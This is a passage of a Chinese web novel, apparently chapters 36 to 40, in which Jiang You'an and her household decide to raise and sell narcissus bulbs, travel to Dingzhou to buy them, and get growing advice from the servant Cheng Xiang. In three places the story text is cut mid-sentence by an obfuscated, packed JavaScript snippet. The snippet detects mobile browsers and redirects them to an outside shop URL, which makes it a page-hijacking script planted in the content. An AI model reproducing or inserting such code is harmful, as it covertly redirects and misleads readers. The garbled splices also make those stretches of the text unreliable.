“我当然是个有魅力的女人,但我现在只是个村姑,像你说的,没有人会看上我,我要是又小阮那样的美貌,还好说一点。”姜佑安说道。 “那你肯定会给我招来更多的麻烦。”袁竹说道。 “没有美貌,有钱也行啊。”姜佑安说道。 袁竹嗤之以鼻,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743531|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱你还能在我这儿?别做白日梦了。” “怎么才能弄到钱呢?我需要很多很多钱。”姜佑安陷入了思考。 “你要那么多钱干什么?买男人?”袁竹问道。 “起码看在钱的份上,那些美貌的男人就不会无视我了,这样才能有进一步的可能。”姜佑安说道。 袁竹深感不解,“你想要钱,就是要给男人花?这样你能得到什么好处吗?” “能啊。”姜佑安嘿嘿一笑,“能得到左拥右抱的好处。” 袁竹白了她一眼,“小阮也在,你不要胡说八道!” 姜佑安没有理会袁竹,自顾自地说下去,“打猎要靠运气,就算打到了,我们自己还要吃肉,不能都拿去卖,毛皮也换不来太多钱,就不能有其他挣钱的办法吗?” “要有我不早去挣了?我就只会种花卖花,不会别的。”袁竹说道。 “卖花,马上就到冬天了,冬天,冬天可以卖什么花?”姜佑安突然想到昨天在粉盒上看到的水仙花,“水仙!过年的时候,我看很多人家里都摆着水仙,这里肯定也有人买吧。” “有吧,应该卖得不便宜。”袁竹说道。 “水仙是花吗?”一直在旁边默默听着的阮荷开口问道。 “对,你还记得我昨天给你看的那盒香粉吗?那粉盒上雕的就是水仙花,冬天摆在房间里,闻起来特别香。”姜佑安说道。 “你又不会种花,想这些做什么?”袁竹说道。 “我不会,你不是会吗?”姜佑安说道。 袁竹摇了摇头,“我也不会,冬天山里腊梅开的时候,我偶尔也会采些进城去卖,但从没在泰安县见过卖水仙花的。” 姜佑安仿佛发现了一个天大的机遇,“本县没有?” “大户人家也许有,但我没见有人卖过。”袁竹说道。 “那更好了,我们要是能养出一批水仙花来,肯定能大赚一笔。”姜佑安高兴地说道。 “什么大赚一笔?”李长风端着一碗板栗走进了院门。 “佑安姐姐说想卖水仙花,可以大赚一笔。”阮荷走过去,接过他手里的碗,“这板栗哪儿来的?” “陈爷爷给的,他说是自家的板栗树,今年结的不多,煮了一点儿,也给咱们尝尝。”李长风说道。 “那山楂,他孙子喜欢吗?”袁竹问道。 “不知道,我没看见他孙子。”李长风答道。 姜佑安走到阮荷身边,拿起一个板栗,咬开吃了,“他孙子跟你岁数差不多,说不定你们可以成为朋友。” “村里的孩子看见我都躲得远远的,我才不想跟他们做朋友。”李长风从碗里拿出一个板栗,按捏着板栗坚硬的外壳。 阮荷把碗递到袁竹面前,袁竹也拿了一个,向李长风说道:“还不是因为你整天带着剑,你跟那些孩子们说话的时候和气点儿,他们肯定愿意带你一起玩。” “没有朋友,也没什么的,我只要待在姜姐姐身边就行。”李长风说道。 “你还小,我们也不用你做什么,你闲着没事,就出去找那些孩子玩儿呗,慢慢就好了。”袁竹说道。 李长风摇了摇头,把手上的板栗咬开吃了“不了,我不想跟他们一起玩儿。” 姜佑安笑了笑,“不愿意去就不去,长风和我一起养水仙花吧。” 袁竹吃了板栗,把板栗壳扔到院墙外面,拍了拍手,“说风就是雨的,哪来的水仙花?” 37. 水仙 “冬日清供,肯定少不了水仙,就算本地没有卖的,那些有钱人也会想办法弄来。”姜佑安说道。 “有钱人是有办法,我们是穷人,能有什么办法?”袁竹说道。 姜佑安看向李长风,“你还记得冬天开的水仙花吗?” 李长风点点头,“记得,去年冬天,姐姐的朋友不是还送了您一大盆,听说能卖几十两银子呢。” “几十两?!”袁竹十分震惊,随即摇了摇头,“算了吧,这么贵,谁能买得起!” “普通人家是买不起,不过,县里不也有一些人家小有资财吗?冬天开的花,又新鲜,又清香,买一盆,能开十多天呢,再说我那一盆,也是因为里面放的球茎多才贵,少放几颗,几两银子也就买到了。”姜佑安说道。 “几两银子!你说得轻松,几棵花就能买几两银子,那花苗肯定不便宜,到时候要是养死了,咱们就得喝西北风去。”袁竹说道。 “我朋友的一个叔叔酷爱养花,她送我的那盆水仙就是从她叔叔那里要来的,听她说,水仙花只要养得好,大球可以生小球,买进一批球茎,每年都可以收获新球茎。”姜佑安说道。 “真的有这么好?”袁竹很是怀疑,“要真像你说的那样,爱花的人家肯定家家都养,哪会像现在这么少见?依我看,这花绝对不好养。” 姜佑安觉得袁竹说得也有道理,“我朋友的叔叔是个大官,家里肯定是有专人照料水仙的,也可能确实不容易,还需要好好了解一下情况。” “凡事都是说起来简单,做起来难,就像我种的菊花,扦插枝条就能活,比水仙可容易多了,可我也是摸索了几年,也有了现在这片菊花田,”袁竹说道。 “你种的菊花还是太便宜了,我朋友的叔叔家里有许多珍惜的品种,别人出上百两银子,他都不卖。”姜佑安说道。 “贵的菊花,花苗也贵,我哪里买得起?万一养死了,不够我心疼的,再说了,卖得贵了,也没人买,现在这样,能保证温饱,就不错了。”袁竹说道。 姜佑安现出贪婪的神色,“只有温饱可不够,我需要钱,很多很多钱!让那些男人再也不会无视我!” 袁竹叹了口气,“你何必费这个劲,杨恩不也是个美貌男人,你去找他不就好了?” “那可不行!”姜佑安马上答道:“兔子不吃窝边草,再说了,他一直觉得我对他有恩,我提什么要求,他都不会拒绝,我讨厌这样跟他相处,像是用恩情要挟他一样。” “姜姐姐,你且等等,等我长大就是美貌男人了。”李长风突然说道。 袁竹刀一样的目光扎在姜佑安身上,“你跟这孩子说什么了?” “我没说什么。”姜佑安连连摆手,“是他自己乱说的,我再怎么着也不会对一个孩子出手。” 袁竹温和地向李长风问道:“你刚才那话是什么意思?” “姜姐姐说美貌的男人都不理她,还骂她,她很难过,我说姜姐姐也夸过我长得好看,等我长大了,也是美貌男人,我绝不会不理她。”李长风认真地说道。 袁竹笑了,“你也太惯着你姜姐姐了。” “姜姐姐是我的恩人,让我为她做什么都不为过。”李长风说道。 “看吧,他跟杨恩一个样,也觉得我对他有恩,就算他是个成年男人,我也提不起兴趣。”姜佑安说道。 袁竹看着姜佑安,语气严厉,“你也该注意一点儿,这次就算了,以后不许在小孩子面前乱说话!” 姜佑安低下头,拖长了声音,“好,我知道了。” “你还不服气?”袁竹问道。 “没有,我哪敢啊。”姜佑安敷衍地说道。 “男人也好,水仙花也好,你都别想了,老老实实上山打猎吧,等到了春天,我们就能宽裕点儿了。”袁竹说道。 姜佑安抬起头来,脸上带着势在必得的微笑,“猎要打,水仙花也要种,美貌的男人我也不会放弃。” 袁竹感觉再说下去也没用,摇了摇头,进屋去了。 姜佑安又从碗里拿出一个板栗,“这板栗还挺甜的,你不吃了?” “不吃了,你们吃吧。”袁竹说道。 阮荷往屋里看了看,有些担心地问道:“佑安姐姐,你不是不会种花吗?” “是不会,不过,我可以学啊,你姐姐我可厉害了,只要我想学,就没有我学不会的。”姜佑安得意地笑了。 “对啊,姜姐姐可厉害了,她肯定能学会。”李长风说道。 阮荷点了点头,眼睛发亮,“那我跟姐姐一起学吧。” “我也一起。”李长风说道。 “好啊,咱们一起种水仙。”姜佑安笑着答应了。 三个人围成一团,商量着要怎么说服袁竹,脚边渐渐掉落了一圈板栗壳,有两只麻雀落在了院墙上,叽叽喳喳地等着人走远。 姜佑安知道袁竹不好说服,决定自己先去城里打听一下情况,上午她和李长风上山去打猎砍柴,吃过午饭就往城里去了,李长风不肯让她独自去,也跟着进了城。 打探了一番,姜佑安找到了花行,询问有没有水仙花球茎卖,老板说以前冬天卖过,买的人少,如今都换成梅花了,姜佑安又问水仙花应该怎么养,老板说很简单,勤换水,多晒太阳就行。 姜佑安听了信心大增,问老板在哪里可以买到球茎,老板说以前是商人过来兜售的,他并不曾去买,不过,定州城里富人多,那里应该有卖的。 姜佑安谢过了花行老板,又带着李长风去了书坊,进了门,姜佑安向伙计询问是否有关于种植水仙花的书籍,伙计让姜佑安先到里间稍坐片刻,他去查找一下。 姜佑安透过书架,看到里面设有桌椅,且已有人在内,她不想进去打扰,只在书架边随意翻着书。 听到有人走进,姜佑安以为是伙计走了过来,一抬头,却看见了戴庭芳。 “戴公子,你怎么在这里?”姜佑安惊喜地问道,虽然上次分别时,彼此都说了一些难听的话,但一段时间不见,这张脸更显得美貌绝伦,让她不禁想要跟他搭个话,好多看几眼。 “我家公子是来买书的,姜姑娘也要买书吗?”程祥站在戴庭芳身后,手里拎着一提书,代他答道。 “对,我也是来买书的,上次赵雄的事,我还没谢你呢。”姜佑安微笑着向 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“我听说这县里没有卖水仙花的,戴家的水仙花是哪里来的?”姜佑安问道。 “这个我不太清楚,可能是外地买来的吧。”程祥说着就要往外走。 姜佑安死死拽住他的胳膊,“你能不能帮我问问,戴家的水仙花是在哪里买的,养水仙花都要注意些什么。” 姜佑安的力气很大,程祥见走不脱,索性回过身来,认真地问道:“姑娘问这些做什么?难道你要养水仙花?” 姜佑安笑了笑,“我是有这个打算,不过我没养过,也不知道在哪里可以买到花球。” “好吧,我帮你问问。”程祥说道。 “太好了,谢谢你,到时候我请你吃山楂糖球。”姜佑安高兴地说道。 看她这么开心,程祥也笑了,“山楂糖球是什么?” “就是山楂裹糖,阮荷做的,酸酸甜甜的,可好吃了。”姜佑安说道。 程祥看了看她身后的李长风,笑着说道:“我本来还担心多了一个人,你们会吃不上饭,看来你们过得不错,还有功夫琢磨这种小吃。” “你还会担心这个?你真是个好人,等我卖水仙花赚了钱,一定请你去我们家吃肉。”姜佑安感动地说道。 “我就是心里想想,也没做什么,不用你请我吃饭,我家公子还在等我,我先走了。”程祥冲姜佑安笑了笑,转过身向外走,看见戴庭芳正站在门口,黑着脸看着他。 戴庭芳眉头紧皱,“跟女人拉拉扯扯的,成何体统,快跟我回去!” “是,公子。”程祥从未见戴庭芳如此生气,忙低下头走了过去。 戴庭芳看了姜佑安一眼,见她正笑呵呵地看着自己,他生硬地转过头,向右侧走去,程祥跟了过去,两人的身影消失在书坊门口。 “她都跟你说了什么,聊得这么开心?”姜佑安听到戴庭芳低声问道,两人越走越远,她没有听到程祥的回答。 “看来他真的很生气。”姜佑安喃喃自语。 “谁生气了?刚才那位公子吗?你们吵架了?”李长风问道。 38. 采买 “吵架了,他说我残忍又浅薄,我也骂了他,所以他不愿意理我了。”姜佑安叹了口气,“真是可惜了,长风,你看他是不是长得很好看?” 李长风不懂那人的长相如何,只觉得他对姜佑安十分无礼,“他不理姐姐,姐姐你也不理他!” 姜佑安听了哈哈一笑,“你说得对,我才不稀罕理他,现在咱们的首要任务是赚钱,只要有了钱,还愁没有男人?” 李长风似懂非懂地点了点头,“姐姐肯定能赚到钱。” 书坊的伙计走了过来,把一本翻开的书递到姜佑安的面前,“这一本花谱里有写水仙花的培育方法,您看这本可以吗?” 姜佑安接过书,翻看了一下,见记载水仙花的内容只有一页,“没有别的了吗?” 伙计脸上带着微笑,客气地说道:“现在是没有,不过,姑娘您需要的话,我可以去书商那里问问,姑娘您住在城里吗?您留个地址给我,等书到了,我可以给您送到家里去。” “我住在城外,你送过去可能不太方便,这样吧,你先帮我留意着,如果有记载得比这本详细的,你就送到戴家去,刚才戴庭芳身边那个小厮叫程祥,你认识吗?”姜佑安问道。 “认识,最近书院买书,都是他们两位一起来的。”伙计答道。 “你就把书送到程祥手里就行,你跟他说,我让他帮忙垫付书钱,空闲的时候送到我家里,我再把钱给他。”姜佑安说道。 “好的,那这本,您还要吗?”伙计问道。 “要。”姜佑安付了钱,拿着书出了书坊。 回到家,袁竹说陈大用来过了,说起之前有个捕快去找他,拿着一只断箭头,他想着姜佑安在山上打猎,箭可能丢了不少,又做几支送了过来。 姜佑安把箭放在箭囊里收好,阮荷又拉着姜佑安去走廊下,看陈大用给兔子做的木笼子,兔子终于不用被拴着,自在了不少。 看过了兔笼,袁竹说要晒点南瓜干,搬了桌子放在院子里切南瓜,姜佑安也去搬了椅子,坐在院子当中,晒着太阳,研读种植水仙的方法。 袁竹、阮荷都不识字,不知道她在看些什么,问了李长风,他说不知道是什么书,但里面应该是有写种水仙的方法。 袁竹砍开一个南瓜,挖出了里面的南瓜子,削去南瓜皮,“她真打算种水仙?” 阮荷把削好皮的南瓜切成片,“佑安姐姐识字,她肯定能学会。” 李长风把切好的南瓜片一片片摆进簸箩里,“姜姐姐决定的事,是一定要做成的。” “做不成怎么办?”袁竹问道。 “她会坚持,一直到成功为止。”李长风认真地说道。 “她以前是个富贵闲人,想做什么,家里人或许都能支持她,可我们有什么?这这么点儿钱,要是全被她折腾进去,我们还活不活了?”袁竹说道。 姜佑安拿着书凑过来,“不用你全给我,你不是说撑过了冬天就好吗?你把过冬的钱留下,剩下的给我,我去买水仙花球。” “你知道哪里有卖的?”袁竹问道。 “县里没有,定州城里应该有。”姜佑安答道。 “你也不确定吧,要是折腾了一通没买到呢?要是买来了养死了呢?钱不就白白浪费了?”袁竹说道。 “怕这个怕那个,就什么都干不成了,我不想那么多,先去做就是了。”姜佑安说道。 一直低头切南瓜的阮荷抬起头来,“佑安姐姐的那只耳环,换了那么多钱,肯定够过冬的了,袁姐姐,你就给佑安姐姐分一些吧。” “是啊,袁姐姐,你就让姜姐姐试试吧。”李长风也附和道。 “十两银子,说多不多,说少不少。”袁竹一刀一刀削着南瓜皮,“我是怕什么时候万一需要用钱,我们都拿不出钱来。” “还能有什么需要用钱的?”姜佑安问道。 “说不好,但留点备用的钱,总能安心一些。”袁竹说道。 姜佑安有些不满,“你担心的事太多了。” “提前考虑考虑,总是好的。”袁竹停了手,抬头看向姜佑安,“不过,这毕竟是你的首饰换的钱,你如果坚持,我就拿一半给你。” “真的?”姜佑安惊喜地跳了起来,“袁竹,谢谢你!我明天就去买水仙花球去。” “太好了,姜姐姐,我也和你一起去。”李长风高兴地说道。 阮荷也想去,她看了看袁竹,欲言又止。 “长风你和阮荷留在这里看家,我和姜佑安一起去吧。”袁竹说道。 “你也去?”姜佑安很吃惊,没想到她同意给钱,还要跟她一起去买种球。 袁竹削完了南瓜,把南瓜子收集到水瓢里,往厨房走去,“你又没种过花,你懂什么?让你自己去,就是拿钱打水漂,我当然得去盯着。” 姜佑安跟着她进了厨房,“我确实不懂,不过,你不也没种过水仙吗?” 袁竹把南瓜子洗干净,捞起来放在一个小簸箩里摊开,放在了柴火棚顶上,“我起码有种花的经验,再说了,你知道定州城在哪儿吗?你要怎么过去?走过去?你认识路吗?” “你去过定州城?”姜佑安问道。 “去过,定州城离这里不太远,但要是走着过去,也得花大半天的时间,等明天我带你去县里找车,一天也就回来了。”袁竹说道。 见袁竹如此了解,姜佑安笑了笑,“好,都听你的。” 袁竹在刚才姜佑安坐的椅子上坐下,“你那书里说了什么,你念给我听听。” 姜佑安把书递过去,“你自己看呗。” 袁竹并不去接,“我又不识字,怎么看?你念给我听。” “不识字?你怎么会不识字?”姜佑安感到有些吃惊,虽然在袁家没有看到过片纸只字,但她从没想过袁竹会不识字。 “我爹娘不识字,所以我也不识字,这有什么奇怪的?”袁竹坦然说道。 姜佑安看向阮荷,“你也不识字?” 阮荷切完了南瓜,和李长风一起摆放着南瓜片,“我爹娘也不识字,我们村里只有村长识字。” 袁竹不理解姜佑安为什么这么吃惊,“不识字又不是什么大事,我们不都照样好好活着?” “不识字很正常吧,姜姐姐,我原先也不识字,还是当了侍卫才学了点儿。”李长风说道。 “很正常吗?”姜佑安产生了怀疑。 “别说这些废话了,快念给我听。”袁竹说道。 姜佑安没再说什么,去屋里搬了把椅子出来,坐在袁竹身边,给她一字一句地念着书里的文字,袁竹觉得有些地方说的不太清楚,就问姜佑安是什么意思,姜佑安只能照着念,也无从解释,读完了一遍,两个人都是似懂非懂。 袁竹觉得是姜佑安念得不对, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749651|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又让她念了两遍。 “数灌溉而已是什么意思?”袁竹问道。 “就是多浇水吧。”姜佑安答道。 “多浇水是浇多少水?一天浇几次?”袁竹又问道。 “书上就是这么写的,没写浇多少,也没写浇几次。”姜佑安答道。 袁竹觉得很烦躁,“这书里说得不清不楚的,照这个法子能种好花?” 被袁竹一问,姜佑安也觉得心里没底了,“可能吧。” 袁竹叹了口气,“算了,收拾收拾准备晚饭吧,明天去了城里再打听打听,卖花球的应该知道怎么种。” “说得也是。”姜佑安点了点头。 第二天一早,天刚蒙蒙亮,袁竹和姜佑安就带着水和干粮出发了。 阮荷和李长风在家里看家,阮荷做饭,李长风烧火,阮荷扫院子,李长风就把簸箩都端出去晒,阮荷去菜园,李长风就跟着去菜园。 阮荷和李长风像是父母不在家的孩子,两人守在家里,既感觉新奇又有些不安。 吃过了午饭,杨恩来了一趟,听说袁竹和姜佑安不在,又回了陈大用那里。 阮荷和李长风半开着院门,搬了椅子坐在院子中间,聊着一些儿时的事,阮荷又跟李长风讲了她和姜佑安、袁竹和杨恩的相遇。 李长风也提起小时候被姜佑安救助的事,两人看着门口,更加期盼袁竹和姜佑安快点回来。 太阳逐渐西斜,空荡荡的丝瓜架上没有一片叶子,有一只乌鸦飞过来,盘旋了几圈,又飞走了。 阮荷去厨房做饭,李长风把椅子搬进堂屋里,也去了厨房帮忙。 天渐渐黑下去,阮荷焦急地跑到大路上张望,路上却连没有一个人影,“怎么还不回来?不会是出事吧。” 李长风也深感不安,“我们也跟着一起去好了。” 两人回到了院里,阮荷犹豫了一会儿,关上了大门,“姐姐们手里有钱,也许太晚了,就在城里住下了。” 李长风点了点头,“有可能。” “天黑了,我们先吃饭吧。”阮荷进了厨房,借助着窗外昏暗的光线,盛了两碗疙瘩汤端了出去。 李长风搬了两把椅子出来,“外面还有点亮,在外面吃吧。” “嗯。”阮荷把碗递给李长风,两人坐在椅子上吃饭,眼睛却一直盯着大门。 天越来越黑,大门外一直没有任何动静,阮荷的心里多了些恐惧,她不敢说出口,只在心里不断地自我安慰,也许两人真的是在城里留宿了,也许明天一早,袁竹和姜佑安就会回来了。 两人吃完了晚饭,阮荷抹黑洗完了碗,两人坐在漆黑的堂屋里,谁都没有要去睡的意思。 “天黑了,要不把灯点上吧。”李长风说道。 “姐姐们今天出门,肯定又不少花钱,灯还是别点了,你去睡吧。”阮荷说道。 李长风摇了摇头,“我要等姜姐姐回来。” “你去睡吧,我在这里守着,她们回来了,我会叫醒你的。”阮荷轻声说道。 “我不困,阮姐姐去睡吧,我来守在这里。”李长风说道。 “我也不困,那咱们再坐一会儿,等困了就去睡。”阮荷说道。 两人在黑暗中枯坐,内心焦灼不已,夜渐渐深了,寒气从门外透进来,阮荷打了个寒颤,在她正要开口劝李长风去睡的时候,大门外传来了拍门声。 39. 球茎 “小阮!长风!你们睡了吗?”院门外有人高声喊道。 阮荷一下子站了起来,“是佑安姐姐的声音!” 李长风起身,快步穿过院子,他一边开院门,一边兴奋地对着门外说道:“你们回来了。” 姜佑安和袁竹走了进来,李长风关上了院门。 “回来了!”姜佑安应了一声,显得非常高兴。 阮荷在堂屋里摸索着点燃了油灯,端着灯开心地迎了过去,“我还以为你们今天不回来了呢。” 姜佑安把胳膊上挎的筐放在地上,伸展伸展胳膊,“本来天黑前就能回来的,都怪那个车夫,到了定州城里,非说要去看看什么亲戚,耽误了时间。” “还不是你乱发善心!我就说不能让他去吧。”袁竹说道。 “我也是受骗了嘛,他跟我说,回来时给我们送到家门口,我想着能坐马车,晚点儿就晚点儿吧,结果他回到了县里,就把我们撂在那了,害得我们这么晚从县里走回来。”姜佑安揉着胳膊说道。 李长风拎起地上的筐,低低地贴着地面往屋里走,姜佑安快步走过去,把筐拿了过去,“我来吧。” 姜佑安把筐拎进了堂屋里,阮荷把油灯放在了桌上,见两人都十分疲累的样子,她担心地问道:“你们吃晚饭了吗?” 姜佑安可怜兮兮地跟阮荷告状,“没吃,城里烧饼摊的烧饼闻着可香了,袁竹她不让我买。” “都是面做的,吃小阮做的饼不就行了,干吗要花钱买?”袁竹反驳道。 “我的饼不是吃完了嘛!”姜佑安说道。 “那我不是把我的给你吃了吗?”袁竹说道。 眼看两人要吵起来了,阮荷赶忙插嘴道:“晚上做的疙瘩汤还有,我给你们热一热,再煎一张饼,怎么样?” 姜佑安搂住了阮荷的肩膀,笑着说道:“有小阮在,真好!” “这么晚了,饼就不用了,把疙瘩汤热热凑合吃点儿就行了。”袁竹说道。 “不要!我就要吃饼!小阮,我好累,好饿,我要吃饼。”姜佑安抱着阮荷撒娇。 袁竹很是看不惯,训斥道:“想吃就自己做,别麻烦别人。” “没事,两个锅一起烧,一边热饭,一边煎饼,很快就能做好。”阮荷说道。 “我现在就去烧火。”李长风说着往厨房走去,阮荷捧着油灯跟了过去。 堂屋失去了光源,黑暗之中,姜佑安听到袁竹叹了口气,她摸到椅子边坐下,“你叹什么气啊?做张饼有什么不好,你都把饼给我吃了,难道还不饿?” “这两个孩子太过于懂事,希望我们不会辜负他们。”袁竹看着厨房里的火光,轻声说道。 “辜负什么?我们不是都把水仙花球买回来了吗?你也跟那老板学了怎么种水仙,还愁挣不到钱?”姜佑安说道。 “挣到钱又怎么样?你不是要拿去找男人吗?”袁竹嘲讽道。 “我也没有说都要给男人,有了钱,咱们自己也是要享受的。”姜佑安说道。 “要是能挣到钱,你还是好好攒着吧,不要总想着乱花。”袁竹说着,往厨房去了,姜佑安也跟着过去帮忙。 吃了热乎乎的晚饭,姜佑安美美睡了一觉,第二天一早吃过早饭,照例和李长风一起上山去了。 袁竹和阮荷刷了碗,去堂屋里把竹筐拎出来,把里面的水仙花球一个一个拿出来,摆在廊下阴干,又把南瓜干和南瓜子拿出去晒。 看时间还早,袁竹挎着筐,说要带着阮荷一起去河边捡石头。 袁竹锁上了院门,阮荷跟着她往河边走去。 “捡石头干什么用?”阮荷问道 “水仙养在水里,得依着石头,省得站不稳,要是歪了,泡在水里,可能就泡烂了,开不了花了。”袁竹解释道。 “哦,原来是这样。”阮荷点了点头,“袁姐姐,水仙花好养吗?” “花行老板说不难,只是比种在地里的花费事一些,还有就是要看天气,如果太冷了,也会麻烦些。”袁竹说道。 “还有这种可能?”阮荷有些担心,“这个冬天别太冷就好了。” “是啊,别太冷就好,姜佑安想要花开的时候正好赶上春节,会比较好卖,如果天冷,花可能会晚点开,要是推迟到春天,那时候花多,就卖不上价格了。”袁竹说道。 阮荷仰头看着蓝天,喃喃地说道:“老天保佑,一定要让这个冬天暖和些。” 袁竹笑了笑,“你这样能干的孩子,老天肯定愿意听你的话。” 阮荷看着袁竹,开心地笑了,“老天要是这么好,我希望我们以后都不会饿肚子,有很多钱花。” “会有的。”袁竹笑着说道。 两人在河边捡了一些石头,把石头洗干净之后,两人一起抬回了家,放在院子里晾晒。 忙完之后,两个人坐在院子里休息。 天气晴朗,阳光热烈,微风习习,正适合干活,也适合休息。 姜佑安背着柴火踏进家门,看见两人正坐在院子里晒太阳,她笑了笑,“你们倒是惬意。” “刚捡了石头回来,我们还不能休息休息?”袁竹说道。 阮荷迎上去,把柴火接过来,放在地上摊开晾晒,“佑安姐姐,石头准备好了,接下来做什么?” 姜佑安往屋里走去,“不做什么,时间还早,水仙等十月再种也不迟。” 李长风走到廊下,把衣襟里兜的东西小心地倒在走廊的地上,阮荷凑过去看,见地上除了山楂,还有十来个黄柿子。 “这是你们在山里摘的柿子?”阮荷惊喜地问道。 姜佑安放好了弓箭,拿着一把椅子走了出来,放在院子当中坐了下去,“是长风爬树摘的。” “长风还能找到柿子树,挺厉害啊。”袁竹笑着说道。 长风骄傲地挺起了胸膛,“是我在砍柴的时候发现的,那棵树很高,最上面的树枝细,肯定没人敢爬上去,才剩了这些柿子。” “别人都不敢爬的树,你以后也别上去了,太危险了。”袁竹说道。 “说得也是,我看见你站在树上也觉得心惊,还是小心点儿好。”姜佑安说道。 “好,那我以后不爬了。”李长风说道。 这边正说着话,院门处传来了敲门声,“姜姑娘!” 姜佑安回头看去,见是程祥站在门口,她高兴地起身迎了过去,往他身后张望,“程祥?你怎么到这儿来了?你家公子也来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759033|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有,我自己来的。”程祥说道。 姜佑安有些失望,“是书坊给你送书了?” “书坊?送什么书?”程祥不太明白。 “没有书?那你过来做什么?你家公子让你来的?”姜佑安问道。 “你不是让我回去问问戴家的水仙花球是在哪里买的吗?”程祥说道。 “哦哦,对,我给忘了。”姜佑安不好意思地笑了笑。 “我问了戴家的花匠,他说水仙花是在定州城里买的,卖得不便宜,要一二百文一个。”程祥说道。 “嗯嗯,我知道了。”姜佑安说道。 程祥把肩上的包袱取下来,递给姜佑安,“这是我找花匠要的小球,他说今年不一定能开花,你可以先养养试试。” “给我的?”姜佑安打开包袱,见里面的小球确实比昨天买回来的要小得多。 程祥又从怀中拿出一封信来,“我还帮你问了花匠,养水仙花需要注意的地方,我都写下来了,姑娘若是信得过我,可以看一看。” 姜佑安接过信,“信得过,你这么帮我,我怎么会信不过你?上次我看你家公子好像生气了,他没有为难你吧。” 程祥摇了摇头,“没有,只是,他觉得你杀害赵雄的嫌疑很大,所以不让我跟你有来往。” “他还真是固执。”姜佑安突然想起了什么,转头看向阮荷,“小阮,山楂糖球还有吗?” “没有了,都吃完了。”阮荷说道。 “本来说好要给你尝尝的,这,算了,等下次做了,我给你送过去。”姜佑安说道。 程祥笑了笑,“算了,你要是送过去,被我家公子知道了,又该责怪我了。” “你等等我。”姜佑安转身进了院子,把包袱和信放在袁竹的怀里,又去走廊地上,挑选了最大的三个柿子,送到了程祥手上,“这是今天刚从山里摘的,你也尝尝鲜。” “这,你们也不容易,还是你们留着吃吧。”程祥推辞道。 “礼尚往来,你帮我了我,又不肯收礼,让我以后还怎么好意思去找你?”姜佑安说道。 “那好吧。”程祥笑了笑,“姜姑娘的一番好意,我收下了。” 袁竹走了过来,“谢谢你专门为我们的事跑一趟,留下来吃了午饭再走吧。” “不用了,我家公子和老爷一起赴宴去了,我这才有功夫出来,不能多耽搁,我这就走了。”程祥说道。 袁竹蹲下身子,解开包袱,把里面的球茎倒出来,又把包袱皮翻过来,把程祥手中的柿子拿来放进去,系好之后递给他,“这样拿着方便些。” “多谢袁娘子。”程祥接了过去,向两人道了别。 “对了,书坊!我跟书坊的伙计说,要他帮我找种水仙的书,找到了送到你那去,等你有空的时候,帮我去书坊说一声,就说那书不用找了。”姜佑安说道。 “好,我会去的。”程祥向姜佑安和袁竹点了点头,手上拿着包袱,往大路走去。 “这个程祥真是个好人。”袁竹说道。 “对啊,他家公子要是像他一样通情理就好了。”姜佑安从袁竹手中拿过了程祥给书信,拆开来认真地看着。 “信上写了什么?”袁竹问道。 40. 养花 “就是程祥所说的,养水仙花的注意事项,换水、晒太阳、施肥那些,跟花行的老板说的都差不多。”姜佑安说道。 阮荷也凑过来看,“这上面的字写得真好看。” “你不是不认识字吗?”姜佑安问道。 阮荷笑了笑,“虽然不认识,但我就是觉得好看。” 姜佑安也笑了,“小阮真是好眼光,这字确实写得不错,不愧是书院院长家的小厮,既懂礼,又写得一手好字。” “程大哥真是个热心的好人,上次捕快来抓你的时候,他还想带你逃走呢。”阮荷说道。 “你们说得对,他是个好人,等我们卖了花,得好好谢谢他才是。”姜佑安说道。 “姜姐姐上次不是说要请他吃肉吗?”李长风说道。 “对,等我们有钱了,就请他来吃肉。”姜佑安笑着说道:“下次遇见他的时候,我问问他喜欢吃什么菜。” “最好能把戴庭芳一块请来,再怎么说,他也是小阮的表哥,之前他还帮过我们,一起吃个饭,把你们之间的误会说清楚。”袁竹说道。 “难啊,小阮的表哥,看起来脾气犟得很,上次我在书店遇见他的时候,是想跟他解释清楚的,可他压根不听。”姜佑安无奈地说道。 “这都是误会,有机会,我会好好跟戴公子解释的。”阮荷说道。 “没事,随他怎么想,现在最重要的是养水仙。”姜佑安说着,弯下身,去捡地上散落的小球茎。 袁竹、阮荷和李长风也都去捡了起来,放在走廊下,和昨天买回来的球茎放在一起。 “这东西真的这么贵吗?”阮荷问道。 “对啊,贵着呢,一百个铜板一个,这都是最便宜的了,还有更贵的。”姜佑安说道。 “一百个铜板一个?”阮荷蹲在地上,吃惊地看着地上这些不起眼的球茎,“这些就把那五两银子花完了?” “除去租马车来回的三百文,剩下的都在这了。”袁竹说道。 “这么贵!我都不敢碰了,这要是弄坏了可怎么办?”阮荷担心地说道。 